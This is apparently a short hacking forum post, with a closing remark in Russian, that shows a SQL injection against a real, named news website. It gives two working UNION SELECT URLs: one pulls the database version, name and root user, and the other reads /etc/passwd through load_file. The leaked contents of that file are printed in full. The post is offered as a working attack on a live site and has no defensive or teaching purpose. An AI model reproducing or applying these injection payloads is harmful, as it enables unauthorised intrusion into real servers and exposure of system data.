Pagerank: 6

http://www.seenews.com/_c/SaveAs.php?Id=-137535+UNION+SELECT+1,concat_ws(0x3a,version(),dat abase(),useR()),3,4,5,6&Type=3


Database Version: 5.1.16-beta-Debian_3-log
Database name: SeeNewsUTF
User name: root@localhost

http://www.seenews.com/_c/SaveAs.php?Id=-137535+UNION+SELECT+1,load_file(0x2f6574632f706173 737764),3,4,5,6&Type=3

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13roxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shDebian-exim:x:100:102::/var/spool/exim4:/bin/falsestatd:x:101:65534::/var/lib/nfs:/bin/falseidentd:x:102:65534::/var/run/identd:/bin/falseit:x:1000:1000:it,,,:/home/it:/bin/bashsshd:x:103:65534::/var/run/sshd:/usr/sbin/nologinmysql:x:104:104:MySQL Server,,,:/var/lib/mysql:/bin/falsepublisher:x:1001:33:SeeNews Publisher,,,:/var/publisher/:/bin/bashbacula:x:105:105:Bacula:/var/lib/bacula:/bin/false

интересная скуля по моему мнению, так как вывод информации из БД осуществляется в открывающимся документе ворд... для меня это было что то новое.